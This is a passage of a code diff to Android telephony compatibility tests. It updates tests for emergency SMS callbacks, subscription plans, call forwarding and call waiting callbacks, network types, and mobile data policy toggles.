+            Pair<EmergencyNumber, Integer> emergencySmsInfo =
+                    smsCallbackQueue.poll(WAIT_TIME, TimeUnit.MILLISECONDS);
+            assertNotNull("Never got emergency sms callback", emergencySmsInfo);
+            assertEquals(TEST_EMERGENCY_NUMBER, emergencySmsInfo.first.getNumber());
+            assertEquals(SubscriptionManager.getDefaultSmsSubscriptionId(),
+                    emergencySmsInfo.second.intValue());
         } catch (InterruptedException e) {
             Log.e(TAG, "Operation interrupted.");
         } finally {
@@ -990,8 +995,6 @@
                     InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
         }
 
-        assertNotNull(mOnOutgoingSmsEmergencyNumberChanged);
-        assertEquals(mOnOutgoingSmsEmergencyNumberChanged.getNumber(), TEST_EMERGENCY_NUMBER);
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
index 4cbe6ad..785916f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
@@ -19,6 +19,7 @@
 
 import static androidx.test.InstrumentationRegistry.getContext;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -73,7 +74,7 @@
     }
 
     @Test
-    public void testSignalStrength() throws Throwable {
+    public void testSignalStrength() {
         if (!mPm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
@@ -91,7 +92,10 @@
         long curTime = SystemClock.elapsedRealtime();
         assertTrue("Invalid timestamp in SignalStrength: " + ss.getTimestampMillis(),
                 ss.getTimestampMillis() > 0 && ss.getTimestampMillis() <= curTime);
-        Log.d(TAG, "Timestamp of SignalStrength: " + Long.toString(ss.getTimestampMillis()));
+        Log.d(TAG, "Timestamp of SignalStrength: " + ss.getTimestampMillis());
+
+        SignalStrength copy = new SignalStrength(ss);
+        assertEquals(ss, copy);
 
         List<CellSignalStrength> signalStrengths = ss.getCellSignalStrengths();
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index e6f30a2..8761739 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -289,10 +289,12 @@
         init();
         if (addMessageId) {
             long fakeMessageId = 19812L;
-            sendTextMessageWithMessageId(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent,
-                    fakeMessageId);
+            sendTextMessageWithMessageId(mDestAddr,
+                    String.valueOf(SystemClock.elapsedRealtimeNanos()), mSentIntent,
+                    mDeliveredIntent, fakeMessageId);
         } else {
-            sendTextMessage(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent);
+            sendTextMessage(mDestAddr, String.valueOf(SystemClock.elapsedRealtimeNanos()),
+                    mSentIntent, mDeliveredIntent);
         }
         assertTrue("[RERUN] Could not send SMS. Check signal.",
                 mSendReceiver.waitForCalls(1, TIME_OUT));
@@ -387,7 +389,8 @@
 
         // single-part SMS blocking
         init();
-        sendTextMessage(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent);
+        sendTextMessage(mDestAddr, String.valueOf(SystemClock.elapsedRealtimeNanos()),
+                mSentIntent, mDeliveredIntent);
         assertTrue("[RERUN] Could not send SMS. Check signal.",
                 mSendReceiver.waitForCalls(1, TIME_OUT));
         assertTrue("Expected no messages to be received due to number blocking.",
@@ -921,7 +924,7 @@
             if (mAction.equals(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)) {
                 sMessageId = intent.getLongExtra("messageId", 0L);
             }
-            Log.i(TAG, "onReceive " + intent.getAction());
+            Log.i(TAG, "onReceive " + intent.getAction() + " mAction " + mAction);
             if (intent.getAction().equals(mAction)) {
                 synchronized (mLock) {
                     mCalls += 1;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index d9bb443..987e098 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -245,7 +245,7 @@
         assertEquals(Arrays.asList(), mSm.getSubscriptionPlans(mSubId));
 
         // Push simple plan and get it back
-        final SubscriptionPlan plan = buildValidSubscriptionPlan();
+        final SubscriptionPlan plan = buildValidSubscriptionPlan(System.currentTimeMillis());
         mSm.setSubscriptionPlans(mSubId, Arrays.asList(plan));
         assertEquals(Arrays.asList(plan), mSm.getSubscriptionPlans(mSubId));
 
@@ -284,7 +284,8 @@
         }
 
         // Defining plans means we get to override
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+        mSm.setSubscriptionPlans(mSubId,
+                Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
 
         // Cellular is uncongested by default
         assertTrue(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_CONGESTED));
@@ -346,7 +347,8 @@
 
         // Make ourselves the owner and define some plans
         setSubPlanOwner(mSubId, mPackageName);
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+        mSm.setSubscriptionPlans(mSubId,
+                Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
 
         // Cellular is metered by default
         assertFalse(cm.getNetworkCapabilities(net).hasCapability(
@@ -382,7 +384,8 @@
 
         // Make ourselves the owner and define some plans
         setSubPlanOwner(mSubId, mPackageName);
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+        mSm.setSubscriptionPlans(mSubId,
+                Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
 
         // Cellular is metered by default
         assertFalse(cm.getNetworkCapabilities(net).hasCapability(
@@ -410,7 +413,8 @@
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
                 return !caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
             });
-            mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+            mSm.setSubscriptionPlans(mSubId,
+                    Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
             assertTrue(latch.await(10, TimeUnit.SECONDS));
         }
     }
@@ -465,7 +469,7 @@
 
         // Error when adding 2 plans with the same network type
         List<SubscriptionPlan> plans = new ArrayList<>();
-        plans.add(buildValidSubscriptionPlan());
+        plans.add(buildValidSubscriptionPlan(System.currentTimeMillis()));
         plans.add(SubscriptionPlan.Builder
                 .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
                         Period.ofMonths(1))
@@ -501,16 +505,17 @@
 
     @Test
     public void testSubscriptionPlanResetNetworkTypes() {
+        long time = System.currentTimeMillis();
         SubscriptionPlan plan = SubscriptionPlan.Builder
                 .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
                         Period.ofMonths(1))
                 .setTitle("CTS")
                 .setNetworkTypes(new int[] {TelephonyManager.NETWORK_TYPE_LTE})
                 .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
-                .setDataUsage(500_000_000, System.currentTimeMillis())
+                .setDataUsage(500_000_000, time)
                 .resetNetworkTypes()
                 .build();
-        assertEquals(plan, buildValidSubscriptionPlan());
+        assertEquals(plan, buildValidSubscriptionPlan(time));
     }
 
     @Test
@@ -902,13 +907,13 @@
         return latch;
     }
 
-    private static SubscriptionPlan buildValidSubscriptionPlan() {
+    private static SubscriptionPlan buildValidSubscriptionPlan(long dataUsageTime) {
         return SubscriptionPlan.Builder
                 .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
                         Period.ofMonths(1))
                 .setTitle("CTS")
                 .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
-                .setDataUsage(500_000_000, System.currentTimeMillis())
+                .setDataUsage(500_000_000, dataUsageTime)
                 .build();
     }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index c1b67c1..41d7070 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -22,6 +22,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
@@ -52,17 +53,22 @@
 import android.telephony.Annotation.RadioPowerState;
 import android.telephony.AvailableNetworkInfo;
 import android.telephony.CallAttributes;
+import android.telephony.CallForwardingInfo;
 import android.telephony.CallQuality;
+import android.telephony.CarrierBandwidth;
 import android.telephony.CarrierConfigManager;
 import android.telephony.CellLocation;
+import android.telephony.DataThrottlingRequest;
 import android.telephony.NetworkRegistrationInfo;
 import android.telephony.PhoneStateListener;
+import android.telephony.PinResult;
 import android.telephony.PreciseCallState;
 import android.telephony.RadioAccessFamily;
 import android.telephony.ServiceState;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.ThermalMitigationRequest;
 import android.telephony.UiccCardInfo;
 import android.telephony.UiccSlotInfo;
 import android.telephony.data.ApnSetting;
@@ -95,11 +101,14 @@
 import java.util.Objects;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Consumer;
 import java.util.regex.Pattern;
 import java.util.stream.Collectors;
+import java.util.stream.IntStream;
 
 
 /**
@@ -123,6 +132,7 @@
     private String mSelfCertHash;
 
     private static final int TOLERANCE = 1000;
+    private static final int TIMEOUT_FOR_NETWORK_OPS = TOLERANCE * 10;
     private PhoneStateListener mListener;
     private static ConnectivityManager mCm;
     private static final String TAG = "TelephonyManagerTest";
@@ -167,6 +177,7 @@
     private static final String TESTING_PLMN = "12345";
 
     private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
+    private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
 
     static {
         EMERGENCY_NUMBER_SOURCE_SET = new HashSet<Integer>();
@@ -239,6 +250,8 @@
         IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
         // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
         getContext().registerReceiver(mReceiver, filter);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
     }
 
     @After
@@ -566,12 +579,12 @@
                 TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
     }
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this test
-     * is commented and will be un-commented in Android S.
-     *
     @Test
-    public void testGetCallForwarding() {
+    public void testGetCallForwarding() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
         List<Integer> callForwardingReasons = new ArrayList<>();
         callForwardingReasons.add(CallForwardingInfo.REASON_UNCONDITIONAL);
         callForwardingReasons.add(CallForwardingInfo.REASON_BUSY);
@@ -580,35 +593,61 @@
         callForwardingReasons.add(CallForwardingInfo.REASON_ALL);
         callForwardingReasons.add(CallForwardingInfo.REASON_ALL_CONDITIONAL);
 
-        Set<Integer> callForwardingStatus = new HashSet<Integer>();
-        callForwardingStatus.add(CallForwardingInfo.STATUS_INACTIVE);
-        callForwardingStatus.add(CallForwardingInfo.STATUS_ACTIVE);
-        callForwardingStatus.add(CallForwardingInfo.STATUS_FDN_CHECK_FAILURE);
-        callForwardingStatus.add(CallForwardingInfo.STATUS_UNKNOWN_ERROR);
-        callForwardingStatus.add(CallForwardingInfo.STATUS_NOT_SUPPORTED);
+        Set<Integer> callForwardingErrors = new HashSet<Integer>();
+        callForwardingErrors.add(TelephonyManager.CallForwardingInfoCallback
+                .RESULT_ERROR_FDN_CHECK_FAILURE);
+        callForwardingErrors.add(TelephonyManager.CallForwardingInfoCallback.RESULT_ERROR_UNKNOWN);
+        callForwardingErrors.add(TelephonyManager.CallForwardingInfoCallback
+                .RESULT_ERROR_NOT_SUPPORTED);
 
         for (int callForwardingReasonToGet : callForwardingReasons) {
             Log.d(TAG, "[testGetCallForwarding] callForwardingReasonToGet: "
                     + callForwardingReasonToGet);
-            CallForwardingInfo callForwardingInfo =
-                    ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                            (tm) -> tm.getCallForwarding(callForwardingReasonToGet));
+            AtomicReference<CallForwardingInfo> receivedForwardingInfo = new AtomicReference<>();
+            AtomicReference<Integer> receivedErrorCode = new AtomicReference<>();
+            CountDownLatch latch = new CountDownLatch(1);
+            TelephonyManager.CallForwardingInfoCallback callback =
+                    new TelephonyManager.CallForwardingInfoCallback() {
+                        @Override
+                        public void onCallForwardingInfoAvailable(CallForwardingInfo info) {
+                            receivedForwardingInfo.set(info);
+                            latch.countDown();
+                        }
 
-            assertNotNull(callForwardingInfo);
-            assertTrue(callForwardingStatus.contains(callForwardingInfo.getStatus()));
-            assertTrue(callForwardingReasons.contains(callForwardingInfo.getReason()));
-            callForwardingInfo.getNumber();
-            assertTrue(callForwardingInfo.getTimeoutSeconds() >= 0);
+                        @Override
+                        public void onError(int error) {
+                            receivedErrorCode.set(error);
+                            latch.countDown();
+                        }
+            };
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.getCallForwarding(callForwardingReasonToGet,
+                            getContext().getMainExecutor(), callback));
+
+            assertTrue(latch.await(TIMEOUT_FOR_NETWORK_OPS, TimeUnit.MILLISECONDS));
+            // Make sure only one of the callbacks gets invoked
+            assertTrue((receivedForwardingInfo.get() != null) ^ (receivedErrorCode.get() != null));
+            if (receivedForwardingInfo.get() != null) {
+                CallForwardingInfo info = receivedForwardingInfo.get();
+                assertTrue(callForwardingReasons.contains(info.getReason()));
+                if (info.isEnabled()) {
+                    assertNotNull(info.getNumber());
+                    assertTrue(info.getTimeoutSeconds() >= 0);
+                }
+            }
+
+            if (receivedErrorCode.get() != null) {
+                assertTrue(callForwardingErrors.contains(receivedErrorCode.get()));
+            }
         }
     }
-     */
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this test
-     * is commented and will be un-commented in Android S.
-     *
     @Test
-    public void testSetCallForwarding() {
+    public void testSetCallForwarding() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
         List<Integer> callForwardingReasons = new ArrayList<>();
         callForwardingReasons.add(CallForwardingInfo.REASON_UNCONDITIONAL);
         callForwardingReasons.add(CallForwardingInfo.REASON_BUSY);
@@ -619,68 +658,107 @@
 
         // Enable Call Forwarding
         for (int callForwardingReasonToEnable : callForwardingReasons) {
+            CountDownLatch latch = new CountDownLatch(1);
+            // Disregard success or failure; just make sure it reports back.
+            Consumer<Integer> ignoringResultListener = (x) -> latch.countDown();
+
             final CallForwardingInfo callForwardingInfoToEnable = new CallForwardingInfo(
-                    CallForwardingInfo.STATUS_ACTIVE,
+                    true,
                     callForwardingReasonToEnable,
                     TEST_FORWARD_NUMBER,
                     // time seconds
                     1);
-            Log.d(TAG, "[testSetCallForwarding] Enable Call Forwarding. Status: "
-                    + CallForwardingInfo.STATUS_ACTIVE + " Reason: "
+            Log.d(TAG, "[testSetCallForwarding] Enable Call Forwarding. Reason: "
                     + callForwardingReasonToEnable + " Number: " + TEST_FORWARD_NUMBER
                     + " Time Seconds: 1");
-            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    (tm) -> tm.setCallForwarding(callForwardingInfoToEnable));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setCallForwarding(callForwardingInfoToEnable,
+                            getContext().getMainExecutor(), ignoringResultListener));
+            // TODO: this takes way too long on a real network (upwards of 40s).
+            // assertTrue("No response for forwarding for reason " + callForwardingReasonToEnable,
+            //        latch.await(TIMEOUT_FOR_NETWORK_OPS * 3, TimeUnit.MILLISECONDS));
         }
 
         // Disable Call Forwarding
         for (int callForwardingReasonToDisable : callForwardingReasons) {
+            CountDownLatch latch = new CountDownLatch(1);
+            // Disregard success or failure; just make sure it reports back.
+            Consumer<Integer> ignoringResultListener = (x) -> latch.countDown();
+
             final CallForwardingInfo callForwardingInfoToDisable = new CallForwardingInfo(
-                    CallForwardingInfo.STATUS_INACTIVE,
+                    false,
                     callForwardingReasonToDisable,
                     TEST_FORWARD_NUMBER,
                     // time seconds
                     1);
-            Log.d(TAG, "[testSetCallForwarding] Disable Call Forwarding. Status: "
-                    + CallForwardingInfo.STATUS_INACTIVE + " Reason: "
+            Log.d(TAG, "[testSetCallForwarding] Disable Call Forwarding. Reason: "
                     + callForwardingReasonToDisable + " Number: " + TEST_FORWARD_NUMBER
                     + " Time Seconds: 1");
-            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    (tm) -> tm.setCallForwarding(callForwardingInfoToDisable));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setCallForwarding(callForwardingInfoToDisable,
+                            getContext().getMainExecutor(), ignoringResultListener));
+            // TODO: this takes way too long on a real network (upwards of 40s).
+            //assertTrue("No response for forwarding for reason " + callForwardingReasonToDisable,
+            //        latch.await(TIMEOUT_FOR_NETWORK_OPS * 3, TimeUnit.MILLISECONDS));
         }
     }
-    */
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this test
-     * is commented and will be un-commented in Android S.
-     *
     @Test
-    public void testGetCallWaitingStatus() {
-        Set<Integer> callWaitingStatus = new HashSet<Integer>();
-        callWaitingStatus.add(TelephonyManager.CALL_WAITING_STATUS_ACTIVE);
-        callWaitingStatus.add(TelephonyManager.CALL_WAITING_STATUS_INACTIVE);
-        callWaitingStatus.add(TelephonyManager.CALL_WAITING_STATUS_UNKNOWN_ERROR);
-        callWaitingStatus.add(TelephonyManager.CALL_WAITING_STATUS_NOT_SUPPORTED);
+    public void testGetCallWaitingStatus() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+        Set<Integer> validCallWaitingStatuses = new HashSet<Integer>();
+        validCallWaitingStatuses.add(TelephonyManager.CALL_WAITING_STATUS_ENABLED);
+        validCallWaitingStatuses.add(TelephonyManager.CALL_WAITING_STATUS_DISABLED);
+        validCallWaitingStatuses.add(TelephonyManager.CALL_WAITING_STATUS_UNKNOWN_ERROR);
+        validCallWaitingStatuses.add(TelephonyManager.CALL_WAITING_STATUS_NOT_SUPPORTED);
 
-        int status = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.getCallWaitingStatus());
-        assertTrue(callWaitingStatus.contains(status));
+        LinkedBlockingQueue<Integer> callWaitingStatusResult = new LinkedBlockingQueue<>(1);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.getCallWaitingStatus(getContext().getMainExecutor(),
+                        callWaitingStatusResult::offer));
+        assertTrue(validCallWaitingStatuses.contains(
+                callWaitingStatusResult.poll(TIMEOUT_FOR_NETWORK_OPS, TimeUnit.MILLISECONDS)));
     }
-     */
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this test
-     * is commented and will be un-commented in Android S.
-     *
     @Test
-    public void testSetCallWaitingStatus() {
-        ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                (tm) -> tm.setCallWaitingStatus(true));
-        ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                (tm) -> tm.setCallWaitingStatus(false));
+    public void testSetCallWaitingStatus() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+        Set<Integer> validCallWaitingErrors = new HashSet<Integer>();
+        validCallWaitingErrors.add(TelephonyManager.CALL_WAITING_STATUS_UNKNOWN_ERROR);
+        validCallWaitingErrors.add(TelephonyManager.CALL_WAITING_STATUS_NOT_SUPPORTED);
+        Executor executor = getContext().getMainExecutor();
+        {
+            LinkedBlockingQueue<Integer> callWaitingResult = new LinkedBlockingQueue<>(1);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setCallWaitingEnabled(true, executor, callWaitingResult::offer));
+            Integer result = callWaitingResult.poll(TIMEOUT_FOR_NETWORK_OPS, TimeUnit.MILLISECONDS);
+            assertNotNull("Never got callback from set call waiting", result);
+            if (result != TelephonyManager.CALL_WAITING_STATUS_ENABLED) {
+                assertTrue("Call waiting callback got an invalid value: " + result,
+                        validCallWaitingErrors.contains(result));
+            }
+        }
+
+        {
+            LinkedBlockingQueue<Integer> callWaitingResult = new LinkedBlockingQueue<>(1);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setCallWaitingEnabled(false, executor, callWaitingResult::offer));
+            Integer result = callWaitingResult.poll(TIMEOUT_FOR_NETWORK_OPS, TimeUnit.MILLISECONDS);
+            assertNotNull("Never got callback from set call waiting", result);
+            if (result != TelephonyManager.CALL_WAITING_STATUS_DISABLED) {
+                assertTrue("Call waiting callback got an invalid value: " + result,
+                        validCallWaitingErrors.contains(result));
+            }
+        }
     }
-     */
 
     @Test
     public void testGetRadioHalVersion() {
@@ -998,6 +1076,14 @@
         // succeeds, so just make sure nothing crashes.
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                 tp -> tp.setSystemSelectionChannels(Collections.emptyList()));
+
+        // getSystemSelectionChannels was added in IRadio 1.6, so ensure it returns
+        // the value that was set by setSystemSelectionChannels.
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertEquals(Collections.emptyList(),
+                    ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    TelephonyManager::getSystemSelectionChannels));
+        }
     }
 
     @Test
@@ -1157,6 +1243,11 @@
             return;
         }
 
+        // mc and meid should either be null or supported. empty string is not expected even if
+        // the device does not support mc/meid.
+        assertNotEquals("", mc);
+        assertNotEquals("", meid);
+
         if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
                 assertEquals(meid.substring(0, 8), mc);
@@ -1326,6 +1417,8 @@
                 mLock.wait(60000);
             }
         }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
         assertThat(mTelephonyManager.getServiceState().getState()).isEqualTo(
                 ServiceState.STATE_IN_SERVICE);
     }
@@ -1885,6 +1978,8 @@
             Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
+
         assertTrue(ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                 (tm) -> tm.isManualNetworkSelectionAllowed()));
     }
@@ -2590,6 +2685,37 @@
     }
 
     @Test
+    public void testGetAllNetworkTypes() {
+        Set<Integer> expectedNetworkTypes = new HashSet<>(Arrays.asList(
+                TelephonyManager.NETWORK_TYPE_GPRS,
+                TelephonyManager.NETWORK_TYPE_EDGE,
+                TelephonyManager.NETWORK_TYPE_UMTS,
+                TelephonyManager.NETWORK_TYPE_CDMA,
+                TelephonyManager.NETWORK_TYPE_EVDO_0,
+                TelephonyManager.NETWORK_TYPE_EVDO_A,
+                TelephonyManager.NETWORK_TYPE_1xRTT,
+                TelephonyManager.NETWORK_TYPE_HSDPA,
+                TelephonyManager.NETWORK_TYPE_HSUPA,
+                TelephonyManager.NETWORK_TYPE_HSPA,
+                TelephonyManager.NETWORK_TYPE_IDEN,
+                TelephonyManager.NETWORK_TYPE_EVDO_B,
+                TelephonyManager.NETWORK_TYPE_LTE,
+                TelephonyManager.NETWORK_TYPE_EHRPD,
+                TelephonyManager.NETWORK_TYPE_HSPAP,
+                TelephonyManager.NETWORK_TYPE_GSM,
+                TelephonyManager.NETWORK_TYPE_TD_SCDMA,
+                TelephonyManager.NETWORK_TYPE_IWLAN,
+                TelephonyManager.NETWORK_TYPE_LTE_CA,
+                TelephonyManager.NETWORK_TYPE_NR
+        ));
+
+        Set<Integer> actualNetworkTypes = IntStream.of(TelephonyManager.getAllNetworkTypes())
+                .boxed().collect(Collectors.toSet());
+        assertTrue(expectedNetworkTypes.containsAll(actualNetworkTypes));
+        assertTrue(actualNetworkTypes.containsAll(expectedNetworkTypes));
+    }
+
+    @Test
     public void testIsModemEnabledForSlot() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -2655,6 +2781,482 @@
                 TelephonyManager::isDataEnabled);
     }
 
+    @Test
+    public void testDataDuringVoiceCallPolicy() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
+                (tm) -> tm.isMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL);
+
+        boolean allowDataDuringVoiceCall = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, getPolicyHelper);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
+                        !allowDataDuringVoiceCall));
+
+        assertNotEquals(allowDataDuringVoiceCall,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
+                        allowDataDuringVoiceCall));
+
+        assertEquals(allowDataDuringVoiceCall,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+    }
+
+    @Test
+    public void testAlwaysAllowMmsDataPolicy() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
+                (tm) -> tm.isMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED);
+
+        boolean mmsAlwaysAllowed = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, getPolicyHelper);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
+                        !mmsAlwaysAllowed));
+
+        assertNotEquals(mmsAlwaysAllowed,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
+                        mmsAlwaysAllowed));
+
+        assertEquals(mmsAlwaysAllowed,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+    }
+
+    @Test
+    public void testThermalDataEnable() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
+                        false));
+
+        boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                        TelephonyManager.DATA_ENABLED_REASON_THERMAL));
+        assertFalse(isDataEnabledForReason);
+
+        boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+        assertFalse(isDataConnectionAvailable);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
